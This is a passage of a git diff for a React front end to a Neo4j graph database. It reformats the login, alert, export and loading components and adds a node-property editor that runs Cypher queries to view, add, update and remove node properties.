             text: val,
             timeout: t
         });
-        
     }
 
     render() {
-        if (this.state.visible){
+        if (this.state.visible) {
             return (
-                <Alert className="alertdiv" bsStyle="danger" onDismiss={this._dismiss.bind(this)}>
+                <Alert
+                    className="alertdiv"
+                    bsStyle="danger"
+                    onDismiss={x => this._dismiss}
+                >
                     {this.state.text}
                 </Alert>
             );
-        }else{
+        } else {
             return null;
         }
-        
     }
 }
diff --git a/src/components/Float/ExportContainer.jsx b/src/components/Float/ExportContainer.jsx
index 68c666d..cc0e64b 100644
--- a/src/components/Float/ExportContainer.jsx
+++ b/src/components/Float/ExportContainer.jsx
@@ -1,72 +1,108 @@
-import React, { Component } from 'react';
+import React, { Component } from "react";
 
 export default class ExportContainer extends Component {
-	constructor(){
-		super();
+    constructor() {
+        super();
 
-		this.state = {
-			jsonActive: true,
-			imageActive: false
-		}
-	}
-	_dismiss(){
-		$(this.refs.outer).fadeToggle(false)
-	}
+        this.state = {
+            jsonActive: true,
+            imageActive: false
+        };
+    }
+    
+    componentDidMount() {
+        $(this.refs.outer).fadeToggle(0);
+        $(this.refs.outer).draggable();
+        emitter.on("showExport", this._show.bind(this));
+    }
 
-	_show(){
-		$(this.refs.outer).fadeToggle(true)
-	}
+    _dismiss() {
+        $(this.refs.outer).fadeToggle(false);
+    }
 
-	componentDidMount() {
-		$(this.refs.outer).fadeToggle(0)
-		$(this.refs.outer).draggable()
-		emitter.on('showExport', this._show.bind(this))
-	}
+    _show() {
+        if (appStore.currentTooltip !== null){
+            appStore.currentTooltip.close();
+        }
+        $(this.refs.outer).fadeToggle(true);
+    }
 
-	_jsonClick(){
-		this.setState({jsonActive: true, imageActive: false})
-	}
+    _jsonClick() {
+        this.setState({ jsonActive: true, imageActive: false });
+    }
 
-	_imageClick(){
-		this.setState({jsonActive: false, imageActive: true})
-	}
+    _imageClick() {
+        this.setState({ jsonActive: false, imageActive: true });
+    }
 
-	_buttonClick(){
-		emitter.emit('export', this.state.jsonActive ? 'json' : 'image');
-	}
+    _buttonClick() {
+        emitter.emit("export", this.state.jsonActive ? "json" : "image");
+    }
 
-	render() {
-		return (
-			<div className="floating-div" ref="outer">
-				<div className="panel-heading">
-					Export Graph
-					<button type="button" className="close" onClick={this._dismiss.bind(this)} aria-label="Close">
-						<span aria-hidden="true">&times;</span>
-					</button>
-				</div>
+    render() {
+        return (
+            <div className="floating-div" ref="outer">
+                <div className="panel-heading">
+                    Export Graph
+                    <button
+                        type="button"
+                        className="close"
+                        onClick={this._dismiss.bind(this)}
+                        aria-label="Close"
+                    >
+                        <span aria-hidden="true">&times;</span>
+                    </button>
+                </div>
 
-				<div className="panel-body">
-					<div className="list-group">
-						<a href="#" onClick={this._jsonClick.bind(this)} className={this.state.jsonActive ? "list-group-item active" : "list-group-item"}>
-							<h4 className="list-group-item-heading">Export to JSON</h4>
-							<p className="list-group-item-text">
-								Use this format to export data and re-import it later
-							</p>
-						</a>
+                <div className="panel-body">
+                    <div className="list-group">
+                        <a
+                            href="#"
+                            onClick={this._jsonClick.bind(this)}
+                            className={
+                                this.state.jsonActive
+                                    ? "list-group-item active"
+                                    : "list-group-item"
+                            }
+                        >
+                            <h4 className="list-group-item-heading">
+                                Export to JSON
+                            </h4>
+                            <p className="list-group-item-text">
+                                Use this format to export data and re-import it
+                                later
+                            </p>
+                        </a>
 
-						<a href="#" onClick={this._imageClick.bind(this)} className={this.state.imageActive ? "list-group-item active" : "list-group-item"}>
-							<h4 className="list-group-item-heading">Export to Image</h4>
-							<p className="list-group-item-text">
-								Use this format to export data and view it as an image
-							</p>
-						</a>
-					</div>
+                        <a
+                            href="#"
+                            onClick={this._imageClick.bind(this)}
+                            className={
+                                this.state.imageActive
+                                    ? "list-group-item active"
+                                    : "list-group-item"
+                            }
+                        >
+                            <h4 className="list-group-item-heading">
+                                Export to Image
+                            </h4>
+                            <p className="list-group-item-text">
+                                Use this format to export data and view it as an
+                                image
+                            </p>
+                        </a>
+                    </div>
 
-					<div style={{textAlign: "center"}}>
-						<button onClick={this._buttonClick.bind(this)} className="btn btn-lg">Export Data</button>
-					</div>
-				</div>
-			</div>
-		);
-	}
+                    <div style={{ textAlign: "center" }}>
+                        <button
+                            onClick={this._buttonClick.bind(this)}
+                            className="btn btn-lg"
+                        >
+                            Export Data
+                        </button>
+                    </div>
+                </div>
+            </div>
+        );
+    }
 }
diff --git a/src/components/Float/LoadingContainer.jsx b/src/components/Float/LoadingContainer.jsx
index 0711068..8eba385 100644
--- a/src/components/Float/LoadingContainer.jsx
+++ b/src/components/Float/LoadingContainer.jsx
@@ -1,36 +1,50 @@
-import React, { Component } from 'react';
+import React, { Component } from "react";
 
 export default class LoadingContainer extends Component {
-	constructor(){
-		super();
+    constructor() {
+        super();
 
-		this.state = {
-			text: "Loading"
-		}
+        this.state = {
+            text: "Loading",
+            darkMode: false
+        };
 
-		emitter.on('updateLoadingText', function(payload){
-			this.setState({text: payload})
-		}.bind(this))
+        emitter.on(
+            "updateLoadingText",
+            payload => {
+                this.setState({ text: payload });
+            });
+        
 
-		emitter.on('showLoadingIndicator', function(payload){
-			if (payload){
-				jQuery(this.refs.load).fadeIn()
-			}else{
-				jQuery(this.refs.load).fadeOut()
-			}
-		}.bind(this))
-	}
+        emitter.on(
+            "showLoadingIndicator",
+            payload => {
+                if (payload) {
+                    jQuery(this.refs.load).fadeIn();
+                } else {
+                    jQuery(this.refs.load).fadeOut();
+                }
+            }
+        );
+    }
 
-	componentDidMount() {
-		jQuery(this.refs.load).fadeToggle(0)
-	}
+    componentDidMount() {
+        jQuery(this.refs.load).fadeToggle(0);
 
-	render() {
-		return (
-			<div className="loadingIndicator" ref="load">
-				<div>{this.state.text}</div>
-				<img src="src/img/loading.gif" />
-			</div>
-		);
-	}
+        emitter.on("toggleDarkMode", this.toggleDarkMode.bind(this));
+        this.toggleDarkMode(appStore.performance.darkMode);
+    }
+
+    toggleDarkMode(enabled){
+        this.setState({darkMode: enabled});
+    }
+
+    render() {
+        return (
+            <div className={this.state.darkMode ? "loadingIndicator loading-indicator-dark" : "loadingIndicator loading-indicator-light"} ref="load">
+                <div>{this.state.text}</div>
+                <img src="src/img/loading_new.gif" />
+            </div>
+        );
+    }
 }
diff --git a/src/components/Float/Login.jsx b/src/components/Float/Login.jsx
index 6016ec4..04e554c 100644
--- a/src/components/Float/Login.jsx
+++ b/src/components/Float/Login.jsx
@@ -1,10 +1,10 @@
-import React, { Component } from 'react';
+import React, { Component } from "react";
 
 export default class Login extends Component {
-    constructor(){
+    constructor() {
         super();
         this.state = {
-            url: "",
+            url: "bolt://localhost:7687",
             icon: null,
             loginEnabled: false,
             user: "",
@@ -15,8 +15,8 @@ export default class Login extends Component {
     }
 
     componentWillMount() {
-        var c = conf.get('databaseInfo');
-        if (typeof c !== 'undefined'){
+        var c = conf.get("databaseInfo");
+        if (typeof c !== "undefined") {
             this.setState({
                 url: c.url,
                 user: c.user,
@@ -28,39 +28,41 @@ export default class Login extends Component {
 
     componentDidMount() {
         jQuery(this.refs.password).tooltip({
-            placement : 'right',
-            title: '',
-            container: 'body',
-            trigger: 'manual',
-            template: '<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner tooltip-inner-custom"></div></div>'
+            placement: "right",
+            title: "",
+            container: "body",
+            trigger: "manual",
+            template:
+                '<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner tooltip-inner-custom"></div></div>'
         });
         this.setIcon();
-        
-        if (this.state.password !== ""){
+
+        if (this.state.password !== "") {
             this.checkDBCreds();
+        }else{
+            this.checkDBPresence();
         }
     }
 
-    setIcon(){
+    setIcon() {
         var icon = jQuery(this.refs.urlspinner);
         icon.tooltip({
-            placement : 'right',
-            title: '',
-            container: 'body',
-            delay: {show: 200, hide: 0},
-            template: '<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner tooltip-inner-custom"></div></div>'
+            placement: "right",
+            title: "",
+            container: "body",
+            delay: { show: 200, hide: 0 },
+            template:
+                '<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner tooltip-inner-custom"></div></div>'
         });
         icon.toggle(false);
-        this.setState({icon: jQuery(this.refs.urlspinner)});
+        this.setState({ icon: jQuery(this.refs.urlspinner) });
     }
 
-    checkDBPresence(){
-        var url = this.state.url;
-        var icon = this.state.icon;
-        var jicon = jQuery(icon);
-        var btn = jQuery(this.refs.loginButton);
+    checkDBPresence() {
+        let url = this.state.url;
+        let icon = jQuery(this.refs.urlspinner);
 
-        if (url === ""){
+        if (url === "") {
             return;
         }
 
@@ -68,35 +70,41 @@ export default class Login extends Component {
 
         url = url.replace(/\/$/, "");
 
-        if (!url.includes(':')){
-            url = url + ':7687';
+        if (!url.includes(":")) {
+            url = url + ":7687";
         }
 
-        if (!url.startsWith('bolt://')){
-            url = 'bolt://' + url;
+        if (!url.startsWith("bolt://")) {
+            url = "bolt://" + url;
         }
 
         icon.removeClass();
         icon.addClass("fa fa-spinner fa-spin form-control-feedback");
         icon.toggle(true);
-        var driver = neo4j.driver(url, neo4j.auth.basic("",""), {encrypted:'ENCRYPTION_ON'});
+        var driver = neo4j.driver(url, neo4j.auth.basic("", ""), {
+            encrypted: "ENCRYPTION_ON"
+        });
         var session = driver.session();
 
-        driver.onCompleted = function(){
+        driver.onCompleted = function() {
             session.close();
             driver.close();
         };
-        driver.onError = function(error){
-            if (error.code.includes("Unauthorized")){
+        driver.onError = error => {
+            if (error.code.includes("Unauthorized")) {
                 icon.removeClass();
-                icon.addClass("fa fa-check-circle green-icon-color form-control-feedback");
-                this.setState({loginEnabled: true, url: url});
-            }else{
+                icon.addClass(
+                    "fa fa-check-circle green-icon-color form-control-feedback"
+                );
+                this.setState({ loginEnabled: true, url: url });
+            } else {
                 icon.removeClass();
-                icon.addClass("fa fa-times-circle red-icon-color form-control-feedback");
-                icon.attr('data-original-title', 'No database found')
-                    .tooltip('fixTitle')
-                    .tooltip('show');
+                icon.addClass(
+                    "fa fa-times-circle red-icon-color form-control-feedback"
+                );
+                icon.attr("data-original-title", "No database found")
+                    .tooltip("fixTitle")
+                    .tooltip("show");
                 this.setState({
                     loginInProgress: false,
                     loginEnabled: false
@@ -104,11 +112,11 @@ export default class Login extends Component {
             }
             session.close();
             driver.close();
-        }.bind(this);
+        };
     }
 
-    checkDBCreds(){
-        if (this.state.loginInProgress){
+    checkDBCreds() {
+        if (this.state.loginInProgress) {
             return;
         }
         this.setState({
@@ -119,120 +127,161 @@ export default class Login extends Component {
         var btn = jQuery(this.refs.loginButton);
         var pwf = jQuery(this.refs.password);
 
-        var driver = neo4j.driver(this.state.url, neo4j.auth.basic(this.state.user, this.state.password));
-        driver.onError = function(error){
+        var driver = neo4j.driver(
+            this.state.url,
+            neo4j.auth.basic(this.state.user, this.state.password),
+            { encrypted: "ENCRYPTION_ON" }
+        );
+        driver.onError = error => {
             console.log(error);
-            if (error.message.includes("authentication failure")){
-                btn.removeClass('activate');
+            if (error.message.includes("authentication failure")) {
+                btn.removeClass("activate");
                 this.setState({
                     loginInProgress: false,
                     loginEnabled: true
                 });
-                pwf.attr('data-original-title', 'Invalid username or password')
-                    .tooltip('fixTitle')
-                    .tooltip('show');
-            }else if (error.message.includes("too many times in a row")){
-                btn.removeClass('activate');
+                pwf.attr("data-original-title", "Invalid username or password")
+                    .tooltip("fixTitle")
+                    .tooltip("show");
+            } else if (error.message.includes("too many times in a row")) {
+                btn.removeClass("activate");
                 this.setState({
                     loginInProgress: false,
                     loginEnabled: true
                 });
-                pwf.attr('data-original-title', 'Too many authentication attempts, please wait')
-                    .tooltip('fixTitle')
-                    .tooltip('show');
-            }else if (error.toString().includes('ECONNREFUSED')){
+                pwf.attr(
+                    "data-original-title",
+                    "Too many authentication attempts, please wait"
+                )
+                    .tooltip("fixTitle")
+                    .tooltip("show");
+            } else if (error.toString().includes("ECONNREFUSED")) {
                 var icon = this.state.icon;
-                icon.toggle('true');
+                icon.toggle("true");
                 icon.removeClass();
-                icon.addClass("fa fa-times-circle red-icon-color form-control-feedback");
-                icon.attr('data-original-title', 'No database found')
-                    .tooltip('fixTitle')
-                    .tooltip('show');
+                icon.addClass(
+                    "fa fa-times-circle red-icon-color form-control-feedback"
+                );
+                icon.attr("data-original-title", "No database found")
+                    .tooltip("fixTitle")
+                    .tooltip("show");
                 this.setState({
                     loginInProgress: false,
                     loginEnabled: false
                 });
             }
             driver.close();
-        }.bind(this);
+        };
         var session = driver.session();
-        session.run('MATCH (n) RETURN (n) LIMIT 1')
-            .subscribe({
-                onError: function(error){
-                    btn.removeClass('activate');
-                    var url = this.state.url.replace('bolt://','http://').replace('7687','7474');
-                    if (error.fields && error.fields[0].code === "Neo.ClientError.Security.CredentialsExpired"){
-                        pwf.attr('data-original-title', 'Credentials need to be changed from the neo4j browser first. Go to {} and change them.'.format(url))
-                            .tooltip('fixTitle')
-                            .tooltip('show');
-                        this.setState({
-                            loginInProgress: false,
-                            loginEnabled: true
-                        });
-                    }
-                }.bind(this),
-                onNext: function(){
-
-                },
-                onCompleted: function(){
-                    btn.toggleClass('activate');
-                    btn.removeClass('btn-default');
-                    btn.addClass('btn-success');
-                    btn.html('Success!');
+        session.run("MATCH (n) RETURN (n) LIMIT 1").subscribe({
+            onError: error => {
+                btn.removeClass("activate");
+                var url = this.state.url
+                    .replace("bolt://", "http://")
+                    .replace("7687", "7474");
+                //This block will trip for neo4j < 3.4
+                if (
+                    error.fields &&
+                    error.fields[0].code ===
+                        "Neo.ClientError.Security.CredentialsExpired"
+                ) {
+                    pwf.attr(
+                        "data-original-title",
+                        "Credentials need to be changed from the neo4j browser first. Go to {} and change them.".format(
+                            url
+                        )
+                    )
+                        .tooltip("fixTitle")
+                        .tooltip("show");
                     this.setState({
-                        loginInProgress: false
+                        loginInProgress: false,
+                        loginEnabled: true
                     });
+                }
 
-                    var dbinfo = {
-                            url: this.state.url,
-                            user: this.state.user,
-                            password: this.state.password
-                        };
-                    
-                    if (this.state.save){
-                        conf.set('databaseInfo',dbinfo);    
-                    }
+                if (
+                    error.code &&
+                    error.code === "Neo.ClientError.Security.CredentialsExpired"
+                ) {
+                    pwf.attr(
+                        "data-original-title",
+                        "Credentials need to be changed from the neo4j browser first. Go to {} and change them.".format(
+                            url
+                        )
+                    )
+                        .tooltip("fixTitle")
+                        .tooltip("show");
+                    this.setState({
+                        loginInProgress: false,
+                        loginEnabled: true
+                    });
+                }
+            },
+            onNext: _ => {},
+            onCompleted: _ => {
+                btn.toggleClass("activate");
+                btn.removeClass("btn-default");
+                btn.addClass("btn-success");
+                btn.html("Success!");
+                this.setState({
+                    loginInProgress: false
+                });
 
-                    appStore.databaseInfo = dbinfo;
-                    
-                    jQuery(this.refs.password).tooltip('hide');
-                    jQuery(this.refs.urlspinner).tooltip('hide');
-                    setTimeout(function(){
-                        jQuery(this.refs.outer).fadeOut(400, function(){
-                            renderEmit.emit('login');
+                var dbinfo = {
+                    url: this.state.url,
+                    user: this.state.user,
+                    password: this.state.password
+                };
+
+                if (this.state.save) {
+                    conf.set("databaseInfo", dbinfo);
+                }
+
+                appStore.databaseInfo = dbinfo;
+
+                jQuery(this.refs.password).tooltip("hide");
+                jQuery(this.refs.urlspinner).tooltip("hide");
+                setTimeout(
+                    _ => {
+                        jQuery(this.refs.outer).fadeOut(400, _ => {
+                            renderEmit.emit("login");
                         });
-                    }.bind(this), 1500);
-                    driver.close();
-                    global.driver = neo4j.driver(this.state.url, neo4j.auth.basic(this.state.user, this.state.password));
-                }.bind(this)
-            });
-
-        btn.toggleClass('activate');
+                    },
+                    1500
+                );
+                driver.close();
+                global.driver = neo4j.driver(
+                    this.state.url,
+                    neo4j.auth.basic(this.state.user, this.state.password)
+                );
+            }
+        });
 
+        btn.toggleClass("activate");
     }
 
     _saveChange(event) {
-        this.setState({save: event.target.checked});
+        this.setState({ save: event.target.checked });
     }
 
-    _urlChanged(event){
-        this.setState({url: event.target.value});
+    _urlChanged(event) {
+        this.setState({ url: event.target.value });
     }
 
-    _userChanged(event){
-        this.setState({user: event.target.value});
-        jQuery(this.refs.password).tooltip('hide');
+    _userChanged(event) {
+        this.setState({ user: event.target.value });
+        jQuery(this.refs.password).tooltip("hide");
     }
 
-    _passChanged(event){
-        this.setState({password: event.target.value});
-        jQuery(this.refs.password).tooltip('hide');
+    _passChanged(event) {
+        this.setState({ password: event.target.value });
+        jQuery(this.refs.password).tooltip("hide");
     }
 
-    _triggerLogin(e){
+    _triggerLogin(e) {
         var key = e.keyCode ? e.keyCode : e.which;
 
-        if (key === 13){
+        if (key === 13) {
             this.checkDBCreds();
         }
     }
@@ -248,26 +297,87 @@ export default class Login extends Component {
                     <form>
                         <div className="form-group has-feedback">
                             <div className="input-group">
-                                <span className="input-group-addon" id="dburladdon">
+                                <span
+                                    className="input-group-addon"
+                                    id="dburladdon"
+                                >
                                     Database URL
                                 </span>
-                                <input ref="url" onFocus={function(){jQuery(this.state.icon).tooltip('hide');}.bind(this)} onBlur={this.checkDBPresence.bind(this)} onChange={this._urlChanged.bind(this)} type="text" className="form-control" value={this.state.url} placeholder="bolt://localhost:7687" aria-describedby="dburladdon" />
-                                <i ref="urlspinner" className="fa fa-spinner fa-spin form-control-feedback" />
+                                <input
+                                    ref="url"
+                                    onFocus={function() {
+                                        jQuery(this.state.icon).tooltip("hide");
+                                    }.bind(this)}
+                                    onBlur={this.checkDBPresence.bind(this)}
+                                    onChange={this._urlChanged.bind(this)}
+                                    type="text"
+                                    className="form-control"
+                                    value={this.state.url}
+                                    placeholder="bolt://localhost:7687"
+                                    aria-describedby="dburladdon"
+                                />
+                                <i
+                                    ref="urlspinner"
+                                    className="fa fa-spinner fa-spin form-control-feedback"
+                                />
                             </div>
                             <div className="input-group spacing">
-                                <span className="input-group-addon" id="dbuseraddon">DB Username</span>
-                                <input ref="user" type="text" value={this.state.user} onKeyUp={this._triggerLogin.bind(this)} onChange={this._userChanged.bind(this)} className="form-control" placeholder="neo4j" aria-describedby="dbuseraddon" />
+                                <span
+                                    className="input-group-addon"
+                                    id="dbuseraddon"
+                                >
+                                    DB Username
+                                </span>
+                                <input
+                                    ref="user"
+                                    type="text"
+                                    value={this.state.user}
+                                    onKeyUp={this._triggerLogin.bind(this)}
+                                    onChange={this._userChanged.bind(this)}
+                                    className="form-control"
+                                    placeholder="neo4j"
+                                    aria-describedby="dbuseraddon"
+                                />
                             </div>
                             <div className="input-group spacing">
-                                <span className="input-group-addon" id="dbpwaddon">DB Password</span>
-                                <input ref="password" value={this.state.password} onKeyDown={this._triggerLogin.bind(this)} onChange={this._passChanged.bind(this)} type="password" className="form-control" placeholder="neo4j" aria-describedby="dbpwaddon" />
+                                <span
+                                    className="input-group-addon"
+                                    id="dbpwaddon"
+                                >
+                                    DB Password
+                                </span>
+                                <input
+                                    ref="password"
+                                    value={this.state.password}
+                                    onKeyDown={this._triggerLogin.bind(this)}
+                                    onChange={this._passChanged.bind(this)}
+                                    type="password"
+                                    className="form-control"
+                                    placeholder="neo4j"
+                                    aria-describedby="dbpwaddon"
+                                />
                             </div>
                             <div className="savecontainer">
                                 <div className="checkbox logincheck">
-                                    <label><input checked={this.state.save} onChange={this._saveChange.bind(this)} ref="save" type="checkbox" />Save Password</label>
+                                    <label>
+                                        <input
+                                            checked={this.state.save}
+                                            onChange={this._saveChange.bind(
+                                                this
+                                            )}
+                                            ref="save"
+                                            type="checkbox"
+                                        />Save Password
+                                    </label>
                                 </div>
                                 <div className="buttoncontainer">
-                                    <button ref="loginButton" disabled={!this.state.loginEnabled} type="button" onClick={this.checkDBCreds.bind(this)} className="btn btn-primary loginbutton has-spinner">
+                                    <button
+                                        ref="loginButton"
+                                        disabled={!this.state.loginEnabled}
+                                        type="button"
+                                        onClick={this.checkDBCreds.bind(this)}
+                                        className="btn btn-primary loginbutton has-spinner"
+                                    >
                                         Login
                                         <span className="button-spinner">
                                             <i className="fa fa-spinner fa-spin" />
diff --git a/src/components/Float/NodeEditor.jsx b/src/components/Float/NodeEditor.jsx
new file mode 100644
index 0000000..06848cf
--- /dev/null
+++ b/src/components/Float/NodeEditor.jsx
@@ -0,0 +1,242 @@
+import React, { Component } from "react";
+import NodeEditorRow from "./NodeEditorRow.jsx";
+
+export default class NodeEditor extends Component {
+    constructor() {
+        super();
+
+        this.state = {
+            label: "",
+            type: "",
+            properties: {}
+        };
+    }
+
+    componentDidMount() {
+        emitter.on("editnode", this.getNodeData.bind(this));
+        $(this.refs.outer).draggable({
+            stop: (event,_) => {
+                let target = jQuery(event.target);
+                target.css("width", "auto");
+                target.css("height", "auto");
+            },
+            handle: "#nodeEditOuter"
+        });
+        $(this.refs.outer).fadeToggle(false);
+    }
+
+    getNodeData(name, type) {
+        appStore.currentTooltip.close();
+        $(this.refs.outer).fadeIn();
+        $(this.refs.newAttrName).val("");
+        let q = driver.session();
+        this.setState({ label: name, type: type, dname: name });
+        let statement = "MATCH (n:{} {{}:{name}}) RETURN n";
+        let key;
+        if (type === "OU") {
+            key = "guid";
+        } else {
+            key = "name";
+        }
+
+        q.run(statement.format(type, key), { name: name }).then(
+            function(result) {
+                let props = result.records[0]._fields[0].properties;
+                let label = props.name;
+                delete props.name;
+                this.setState({ properties: props, dname: label });
+                q.close()
+            }.bind(this)
+        );
+    }
+
+    closeEditor() {
+        $(this.refs.outer).fadeToggle(false);
+    }
+
+    addAttrib(){
+        let input = $(this.refs.newAttrName);
+        let typeinput = $(this.refs.newAttrType);
+        let val = input.val();
+        let type = typeinput.val();
+        if (val === ""){
+            input.css("border", "3px solid red")
+            return;
+        }
+
+        let newval;
+        if (type === "boolean"){
+            newval = false;
+        }else if (type === "number"){
+            newval = 0;
+        }else if (type === "string"){
+            newval = "placeholder";
+        }else{
+            newval = [];
+        }
+
+        let key;
+        if (this.state.type === "OU") {
+            key = "guid";
+        } else {
+            key = "name";
+        }
+
+        if (Object.keys(this.state.properties).includes(val)){
+            input.css("border", "3px solid red")
+            emitter.emit("showAlert", "Node property already exists");
+            return;
+        }
+
+        let q = driver.session();
+        let statement = "MATCH (n:{} {{}:{name}}) SET n.{}={newprop} RETURN n".format(this.state.type, key, val)
+
+        q.run(statement, {name: this.state.label, newprop: newval}).then(result => {
+            let props = result.records[0]._fields[0].properties;
+            let label = props.name;
+            delete props.name;
+            this.setState({ properties: props, label: label });
+        });
+
+    }
+
+    updateHandler(attrName, newVal) {
+        let key;
+        if (this.state.type === "OU") {
+            key = "guid";
+        } else {
+            key = "name";
+        }
+        let statement;
+        if (attrName === "serviceprincipalnames" && this.state.type === "user"){
+            if (newVal[0] === "" && newVal.length === 1){
+                newVal = []
+            }
+
+            if (newVal.length > 0){
+                statement = "MATCH (n:{} {{}:{name}}) SET n.{}={newprop}, n.hasspn=true RETURN n".format(this.state.type, key, attrName)
+            }else{
+                statement = "MATCH (n:{} {{}:{name}}) SET n.{}={newprop}, n.hasspn=false RETURN n".format(this.state.type, key, attrName)
+            }
+        }else{
+            statement = "MATCH (n:{} {{}:{name}}) SET n.{}={newprop} RETURN n".format(this.state.type, key, attrName)
+        }
+        
+        let q = driver.session();
+        q.run(statement, {name: this.state.label, newprop: newVal}).then(result => {
+            let props = result.records[0]._fields[0].properties;
+            let label = props.name;
+            delete props.name;
+            this.setState({ properties: props, label: label });
+        });
+    }
+
+    deletePropHandler(attrName) {
+        let key;
+        if (this.state.type === "OU") {
+            key = "guid";
+        } else {
+            key = "name";
+        }
+        let statement = "MATCH (n:{} {{}:{name}}) REMOVE n.{} RETURN n".format(
+            this.state.type,
+            key,
+            attrName
+        );
+        let q = driver.session();
+        q.run(statement, { name: this.state.label }).then(
+            function(result) {
+                let props = result.records[0]._fields[0].properties;
+                let label = props.name;
+                delete props.name;
+                this.setState({ properties: props, label: label });
+                q.close();
+            }.bind(this)
+        );
+    }
+
+    removeValidation(){
+        let input = $(this.refs.newAttrName);
+        input.css("border", "")
+    }
+
+    render() {
+        return (
+            <div ref="outer" className="nodeEditor panel panel-default">
+                <div className="panel-heading" id="nodeEditOuter">
+                    {this.state.dname}
+                    <button
+                        type="button"
+                        className="close"
+                        onClick={this.closeEditor.bind(this)}
+                        aria-label="Close"
+                    >
+                        <span aria-hidden="true">&times;</span>
+                    </button>
+                </div>
+
+                <div className="panel-body">
+                    <div className="nodeEditTableContainer">
+                        <table
+                            data-role="table"
+                            className="table table-striped"
+                        >
+                            <thead align="center">
+                                <tr>
+                                    <td>Delete</td>
+                                    <td>Edit</td>
+                                    <td>Name</td>
+                                    <td>Value</td>
+                                </tr>
+                            </thead>
+                            <tbody>
+                                {Object.keys(this.state.properties).map(
+                                    function(key) {
+                                        let val = this.state.properties[key];
+                                        return (
+                                            <NodeEditorRow
+                                                key={key}
+                                                attributeName={key}
+                                                val={val}
+                                                deleteHandler={this.deletePropHandler.bind(
+                                                    this
+                                                )}
+                                                updateHandler = {this.updateHandler.bind(this)}
+                                            />
+                                        );
+                                    }.bind(this)
+                                )}
+                            </tbody>
+                        </table>
+                    </div>
+                    <form onSubmit={x => x.preventDefault()} className="form-inline pull-right">
+                        <div onFocus={this.removeValidation.bind(this)} className="form-group">
+                            {/* <input
+                                type="text"
+                                className="form-control form-override"
+                                ref="newAttrDisplay"
+                                placeholder="Display Name"
+                            /> */}
+                            <input
+                                type="text"
+                                className="form-control form-override"
+                                ref="newAttrName"
+                                placeholder="Internal Name"
+                            />
+                            <select className="form-control" ref="newAttrType">
+                                <option>boolean</option>
+                                <option>string</option>
+                                <option>number</option>
+                                <option>array</option>
+                            </select>
+                            <button className="form-control formButtonFix" onClick={this.addAttrib.bind(this)}>
+                                <span className="fa fa-plus" /> Add
+                            </button>
+                        </div>
+                        
+                    </form>
+                </div>
+            </div>
+        );
+    }
+}
diff --git a/src/components/Float/NodeEditorRow.jsx b/src/components/Float/NodeEditorRow.jsx
new file mode 100644
index 0000000..6654399
--- /dev/null
+++ b/src/components/Float/NodeEditorRow.jsx
@@ -0,0 +1,207 @@
+import React, { Component } from "react";
+
+export default class NodeEditorRow extends Component {
+    constructor() {
+        super();
+    }
+
+    componentDidMount() {
+        let type = typeof this.props.val;
+        if (type === "object") {
+            type = "array";
+        }
+        this.setState({
+            editing: false,
+            val: this.props.val,
+            deleting: false,
+            valtype: type
+        });
+    }
+
+    componentWillReceiveProps(nextProps) {
+        if (nextProps.val !== this.props.val && nextProps.val !== this.state.val) {
+            let type = typeof nextProps.val;
+            if (type === "object") {
+                type = "array";
+            }
+            this.setState({
+                val: nextProps.val,
+                editing: false,
+                deleting: false,
+                valtype: type
+            });
+        }
+    }
+
+    saveDelete() {
+        this.setState({ deleting: false });
+        this.props.deleteHandler(this.props.attributeName);
+    }
+
+    cancelDelete() {
+        this.setState({ deleting: false });
+    }
+
+    enableDelete() {
+        this.setState({ deleting: true });
+    }
+
+    changeVal() {
+        let val = this.state.val;
+        val = !val;
+        this.setState({ val: val });
+    }
+
+    cancelEdit() {
+        let input = jQuery(this.refs.input);
+        let val = this.props.val;
+
+        if (input.is("div")) {
+            input.html(val);
+            input.removeAttr("contenteditable");
+        } else if (input.is("textarea")){
+            let tempval = val.join("\n");
+            input.attr("disabled", "");
+            input.val(tempval); 
+        }else {
+            input.attr("disabled", "");
+        }
+        this.setState({ editing: false, val: val });
+    }
+
+    saveEdit() {
+        let input = jQuery(this.refs.input);
+        let val;
+        if (input.is("div")) {
+            val = input.html();
+            input.removeAttr("contenteditable");
+        } else if (input.is("textarea")){
+            let tempval = input.val();
+            val = tempval.split("\n");
+            input.attr("disabled", "");
+        } else {
+            val = this.state.val;
+            input.attr("disabled", "");
+        }
+        if (this.state.valtype === "number"){
+            val = parseInt(val);
+        }
+        this.setState({editing: false});
+        this.props.updateHandler(this.props.attributeName, val)
+    }
+
+    enableEdit() {
+        let input = jQuery(this.refs.input);
+
+        if (input.is("div")) {
+            input.attr("contenteditable", true);
+        } else {
+            input.removeAttr("disabled");
+        }
+
+        this.setState({ editing: true });
+    }
+
+    render() {
+        let type = this.state ? this.state.valtype : typeof this.props.val;
+        let valcolumn;
+
+        if (type === "boolean") {
+            valcolumn = (
+                <input
+                    ref="input"
+                    className="checkbox"
+                    type="checkbox"
+                    checked={!this.state ? false : this.state.val}
+                    disabled
+                    onChange={this.changeVal.bind(this)}
+                />
+            );
+        } else if (type === "string") {
+            valcolumn = (
+                <div className={"nodeEditString"} ref="input">
+                    {!this.state ? this.props.val : this.state.val}
+                </div>
+            );
+        } else if (type === "number") {
+            valcolumn = (
+                <div className={"nodeEditNumber"} ref="input">
+                    {!this.state ? this.props.val : this.state.val}
+                </div>
+            );
+        } else if (type === "object" || type === "array") {
+            valcolumn = (
+                <textarea disabled className={"nodeEditArray"} ref="input" defaultValue={!this.state
+                    ? this.props.val.join("\n")
+                    : this.state.val.join("\n")} />
+            );
+        }
+
+        let deletecolumn;
+        if (!this.state || this.state.deleting === false) {
+            deletecolumn = (
+                <button type="button">
+                    <span
+                        className="fa fa-trash"
+                        onClick={this.enableDelete.bind(this)}
+                    />
+                </button>
+            );
+        } else if (this.state.deleting) {
+            deletecolumn = (
+                <div>
+                    <button type="button">
+                        <span
+                            className="fa fa-check"
+                            onClick={this.saveDelete.bind(this)}
+                        />
+                    </button>
+                    <button type="button">
+                        <span
+                            className="fa fa-close"
+                            onClick={this.cancelDelete.bind(this)}
+                        />
+                    </button>
+                </div>
+            );
+        }
+
+        let editcolumn;
+        if (!this.state || this.state.editing === false) {
+            editcolumn = (
+                <button type="button">
+                    <span
+                        className="fa fa-edit"
+                        onClick={this.enableEdit.bind(this)}
+                    />
+                </button>
+            );
+        } else if (this.state.editing) {
+            editcolumn = (
+                <div>
+                    <button type="button">
+                        <span
